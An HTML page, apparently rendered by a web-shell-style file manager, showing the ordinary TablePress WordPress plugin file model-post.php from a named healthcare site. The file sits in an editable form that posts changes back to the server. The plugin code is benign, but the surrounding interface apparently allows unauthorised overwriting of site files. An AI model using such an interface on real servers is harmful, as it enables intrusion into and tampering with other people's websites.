<h2>File Contents: /home/planet5/www/yanhuanghealthcare.co.uk/wp-content/plugins/tablepress/models/model-post.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/yanhuanghealthcare.co.uk/wp-content/plugins/tablepress/models/model-post.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Post Model
 *
 * @package TablePress
 * @subpackage Models
 * @author Tobias Bäthge
 * @since 1.0.0
 */

// Prohibit direct script loading.
defined( &#039;ABSPATH&#039; ) || die( &#039;No direct script access allowed!&#039; );

/**
 * Post Model class
 *
 * @package TablePress
 * @subpackage Models
 * @author Tobias Bäthge
 * @since 1.0.0
 */
class TablePress_Post_Model extends TablePress_Model {

	/**
	 * Name of the &quot;Custom Post Type&quot; for the tables.
	 *
	 * @since 1.0.0
	 * @var lowercase-string&amp;non-empty-string
	 */
	protected string $post_type = &#039;tablepress_table&#039;;

	/**
	 * Inits the model by registering the Custom Post Type.
	 *
	 * @since 1.0.0
	 */
	public function __construct() {
		parent::__construct();
		$this-&gt;_register_post_type(); // We are on WP &quot;init&quot; hook already.
	}

	/**
	 * Registers the Custom Post Type which the tables use.
	 *
	 * @since 1.0.0
	 */
	protected function _register_post_type(): void {
		/**
		 * Filters the &quot;Custom Post Type&quot; that TablePress uses for storing tables in the database.
		 *
		 * @since 1.0.0
		 *
		 * @param lowercase-string&amp;non-empty-string $post_type The &quot;Custom Post Type&quot; that TablePress uses.
		 */
		$this-&gt;post_type = apply_filters( &#039;tablepress_post_type&#039;, $this-&gt;post_type );
		$post_type_args = array(
			&#039;labels&#039;          =&gt; array(
				&#039;name&#039; =&gt; &#039;TablePress Tables&#039;,
			),
			&#039;public&#039;          =&gt; false,
			&#039;show_ui&#039;         =&gt; false,
			&#039;query_var&#039;       =&gt; false,
			&#039;rewrite&#039;         =&gt; false,
			&#039;capability_type&#039; =&gt; &#039;tablepress_table&#039;, // This ensures, that WP&#039;s regular CPT UI respects our capabilities.
			&#039;map_meta_cap&#039;    =&gt; false, // Integrated WP mapping does not fit our needs, therefore use our own in a filter.
			&#039;supports&#039;        =&gt; array( &#039;title&#039;, &#039;editor&#039;, &#039;excerpt&#039;, &#039;revisions&#039; ),
			&#039;can_export&#039;      =&gt; true,
		);
		/**
		 * Filters the arguments for the registration of the &quot;Custom Post Type&quot; that TablePress uses.
		 *
		 * @since 1.0.0
		 *
		 * @param array&lt;string, mixed&gt; $post_type_args Arguments for the registration of the TablePress &quot;Custom Post Type&quot;.
		 */
		$post_type_args = apply_filters( &#039;tablepress_post_type_args&#039;, $post_type_args );
		register_post_type( $this-&gt;post_type, $post_type_args );
	}

	/**
	 * Inserts a post with the correct Custom Post Type and default values in the wp_posts table in the database.
	 *
	 * @since 1.0.0
	 *
	 * @param array&lt;string, mixed&gt; $post Post to insert.
	 * @return int|WP_Error Post ID of the inserted post on success, WP_Error on error.
	 */
	public function insert( array $post ) /* : int|WP_Error */ {
		$default_post = array(
			&#039;ID&#039;             =&gt; false, // false on new insert, but existing post ID on update.
			&#039;comment_status&#039; =&gt; &#039;closed&#039;,
			&#039;ping_status&#039;    =&gt; &#039;closed&#039;,
			&#039;post_category&#039;  =&gt; false,
			&#039;post_content&#039;   =&gt; &#039;&#039;,
			&#039;post_excerpt&#039;   =&gt; &#039;&#039;,
			&#039;post_parent&#039;    =&gt; 0,
			&#039;post_password&#039;  =&gt; &#039;&#039;,
			&#039;post_status&#039;    =&gt; &#039;publish&#039;,
			&#039;post_title&#039;     =&gt; &#039;&#039;,
			&#039;post_type&#039;      =&gt; $this-&gt;post_type,
			&#039;tags_input&#039;     =&gt; &#039;&#039;,
			&#039;to_ping&#039;        =&gt; &#039;&#039;,
		);
		$post = array_merge( $default_post, $post );
		// WP expects everything to be slashed.
		$post = wp_slash( $post );

		// Remove balanceTags() from sanitize_post(), as it can destroy the JSON when messing with HTML.
		remove_filter( &#039;content_save_pre&#039;, &#039;balanceTags&#039;, 50 );
		remove_filter( &#039;excerpt_save_pre&#039;, &#039;balanceTags&#039;, 50 );

		/*
		 * Remove possible KSES filtering, as it can destroy the JSON when messing with HTML.
		 * KSES filtering is done to table cells individually, when saving.
		 */
		$has_kses = ( false !== has_filter( &#039;content_save_pre&#039;, &#039;wp_filter_post_kses&#039; ) );
		if ( $has_kses ) {
			kses_remove_filters();
		}

		$post_id = wp_insert_post( $post, true );

		// Restore removed content filters.
		add_filter( &#039;content_save_pre&#039;, &#039;balanceTags&#039;, 50 );
		add_filter( &#039;excerpt_save_pre&#039;, &#039;balanceTags&#039;, 50 );
		if ( $has_kses ) {
			kses_init_filters();
		}

		// In rare cases, `wp_insert_post()` returns 0 as the post ID, when an error happens, so it&#039;s converted to a WP_Error here.
		if ( 0 === $post_id ) { // @phpstan-ignore identical.alwaysFalse (False-positive in the PHPStan WordPress stubs.)
			return new WP_Error( &#039;post_insert&#039;, &#039;&#039; );
		}

		return $post_id;
	}

	/**
	 * Updates an existing post with the correct Custom Post Type and default values in the wp_posts table in the database.
	 *
	 * @since 1.0.0
	 *
	 * @param array&lt;string, mixed&gt; $post Post.
	 * @return int|WP_Error Post ID of the updated post on success, WP_Error on error.
	 */
	public function update( array $post ) /* : int|WP_Error */ {
		$default_post = array(
			&#039;ID&#039;             =&gt; false, // false on new insert, but existing post ID on update.
			&#039;comment_status&#039; =&gt; &#039;closed&#039;,
			&#039;ping_status&#039;    =&gt; &#039;closed&#039;,
			&#039;post_category&#039;  =&gt; false,
			&#039;post_content&#039;   =&gt; &#039;&#039;,
			&#039;post_excerpt&#039;   =&gt; &#039;&#039;,
			&#039;post_parent&#039;    =&gt; 0,
			&#039;post_password&#039;  =&gt; &#039;&#039;,
			&#039;post_status&#039;    =&gt; &#039;publish&#039;,
			&#039;post_title&#039;     =&gt; &#039;&#039;,
			&#039;post_type&#039;      =&gt; $this-&gt;post_type,
			&#039;tags_input&#039;     =&gt; &#039;&#039;,
			&#039;to_ping&#039;        =&gt; &#039;&#039;,
		);
		$post = array_merge( $default_post, $post );
		// WP expects everything to be slashed.
		$post = wp_slash( $post );

		// Remove balanceTags() from sanitize_post(), as it can destroy the JSON when messing with HTML.
		remove_filter( &#039;content_save_pre&#039;, &#039;balanceTags&#039;, 50 );
		remove_filter( &#039;excerpt_save_pre&#039;, &#039;balanceTags&#039;, 50 );

		/*
		 * Remove possible KSES filtering, as it can destroy the JSON when messing with HTML.
		 * KSES filtering is done to table cells individually, when saving.
		 */
		$has_kses = ( false !== has_filter( &#039;content_save_pre&#039;, &#039;wp_filter_post_kses&#039; ) );
		if ( $has_kses ) {
			kses_remove_filters();
		}

		$post_id = wp_update_post( $post, true );

		// Restore removed content filters.
		add_filter( &#039;content_save_pre&#039;, &#039;balanceTags&#039;, 50 );
		add_filter( &#039;excerpt_save_pre&#039;, &#039;balanceTags&#039;, 50 );
		if ( $has_kses ) {
			kses_init_filters();
		}

		return $post_id;
	}

	/**
	 * Gets a post from the wp_posts table in the database.
	 *
	 * @since 1.0.0
	 *
	 * @param int $post_id Post ID.
	 * @return WP_Post|false Post on success, false on error.
	 */
	public function get( int $post_id ) /* : WP_Post|false */ {
		$post = get_post( $post_id );
		if ( is_null( $post ) ) {
			return false;
		}
		return $post;
	}

	/**
	 * Deletes a post (and all revisions) from the wp_posts table in the database.
	 *
	 * @since 1.0.0
	 *
	 * @param int $post_id Post ID.
	 * @return WP_Post|false|null Post data on success, false or null on failure.
	 */
	public function delete( int $post_id ) /* : WP_Post|false|null */ {
		return wp_delete_post( $post_id, true ); // true means force delete, although for CPTs this is automatic in this function.
	}

	/**
	 * Moves a post to the trash (if trash is globally enabled), instead of directly deleting the post.
	 * (yet unused)
	 *
	 * @since 1.0.0
	 *
	 * @param int $post_id Post ID.
	 * @return WP_Post|false|null Post data on success, false or null on failure.
	 */
	public function trash( int $post_id ) /* : WP_Post|false|null */ {
		return wp_trash_post( $post_id );
	}

	/**
	 * Restores a post from the trash.
	 * (yet unused)
	 *
	 * @since 1.0.0
	 *
	 * @param int $post_id Post ID.
	 * @return WP_Post|false|null Post on success, false or null on error.
	 */
	public function untrash( int $post_id ) /* : WP_Post|false */ {
		return wp_untrash_post( $post_id );
	}

	/**
	 * Loads all posts with one query, to prime the cache.
	 *
	 * @since 1.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 * @see get_post()
	 *
	 * @param int[] $all_post_ids      List of Post IDs.
	 * @param bool  $update_meta_cache Optional. Whether to update the Post Meta Cache (for table options and visibility).
	 */
	public function load_posts( array $all_post_ids, bool $update_meta_cache = true ): void {
		global $wpdb;

		// Split post loading, to save memory.
		while ( ! empty( $all_post_ids ) ) {
			$post_ids = array_splice( $all_post_ids, 0, 100 ); // Extract 100 posts at a time.
			// Don&#039;t load posts that are in the cache already.
			$post_ids = _get_non_cached_ids( $post_ids, &#039;posts&#039; );
			if ( ! empty( $post_ids ) ) {
				$post_ids_list = implode( &#039;,&#039;, $post_ids );
				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
				$posts = $wpdb-&gt;get_results( &quot;SELECT {$wpdb-&gt;posts}.* FROM {$wpdb-&gt;posts} WHERE ID IN ({$post_ids_list})&quot; ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,WordPress.DB.PreparedSQL.InterpolatedNotPrepared
				update_post_cache( $posts );
				if ( $update_meta_cache ) {
					// Get all post meta data for all table posts, @see get_post_meta().
					update_meta_cache( &#039;post&#039;, $post_ids );
				}
			}
		}
	}

	/**
	 * Counts the number of posts with the model&#039;s CPT in the wp_posts table in the database.
	 * (currently for debug only)
	 *
	 * @since 1.0.0
	 *
	 * @return int Number of posts.
	 */
	public function count_posts(): int {
		return array_sum( (array) wp_count_posts( $this-&gt;post_type ) ); // Original return value is object with the counts for each post_status.
	}

	/**
	 * Adds a post meta field to a post.
	 *
	 * @since 1.0.0
	 *
	 * @param int    $post_id ID of the post for which the field shall be added.
	 * @param string $field   Name of the post meta field.
	 * @param string $value   Value of the post meta field (not slashed).
	 * @return bool True on success, false on error.
	 */
	public function add_meta_field( int $post_id, string $field, string $value ): bool {
		$success = add_post_meta( $post_id, wp_slash( $field ), wp_slash( $value ), true ); // WP expects slashed values, `true` means unique.
		// Make sure that $success is a boolean, as add_post_meta() returns an ID or false.
		$success = ( false === $success ) ? false : true;
		return $success;
	}

	/**
	 * Updatse the value of a post meta field of a post.
	 *
	 * If the field does not yet exist, it is added.
	 *
	 * @since 1.0.0
	 *
	 * @param int    $post_id ID of the post for which the field shall be updated.
	 * @param string $field   Name of the post meta field.
	 * @param string $value   Value of the post meta field (not slashed).
	 * @return bool True on success, false on error.
	 */
	public function update_meta_field( int $post_id, string $field, string $value ): bool {
		$prev_value = (string) get_post_meta( $post_id, $field, true );
		// No need to update, if values are equal (also, update_post_meta() would return false for this).
		if ( $prev_value === $value ) {
			return true;
		}

		return (bool) update_post_meta( $post_id, wp_slash( $field ), wp_slash( $value ), $prev_value ); // WP expects slashed values.
	}

	/**
	 * Gets the value of a post meta field of a post.
	 *
	 * @since 1.0.0
	 *
	 * @param int    $post_id ID of the post for which the field shall be retrieved.
	 * @param string $field   Name of the post meta field.
	 * @return string Value of the meta field.
	 */
	public function get_meta_field( int $post_id, string $field ): string {
		return get_post_meta( $post_id, $field, true ); // `true` means single value.
	}

	/**
	 * Deletes a post meta field of a post.
	 * (yet unused)
	 *
	 * @since 1.0.0
	 *
	 * @param int    $post_id ID of the post of which the field shall be deleted.
	 * @param string $field   Name of the post meta field.
	 * @return bool True on success, false on error.
	 */
	public function delete_meta_field( int $post_id, string $field ): bool {
		return delete_post_meta( $post_id, wp_slash( $field ) ); // WP expects a slashed value.
	}

	/**
	 * Returns the Custom Post Type that TablePress uses.
	 *
	 * @since 1.5.0
	 *
	 * @return string The used Custom Post Type.
	 */
	public function get_post_type(): string {
		return $this-&gt;post_type;
	}

} // class TablePress_Post_Model
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fwww%2Fyanhuanghealthcare.co.uk%2Fwp-content%2Fplugins%2Ftablepress%2Fmodels'>⬅ Back to Directory</a>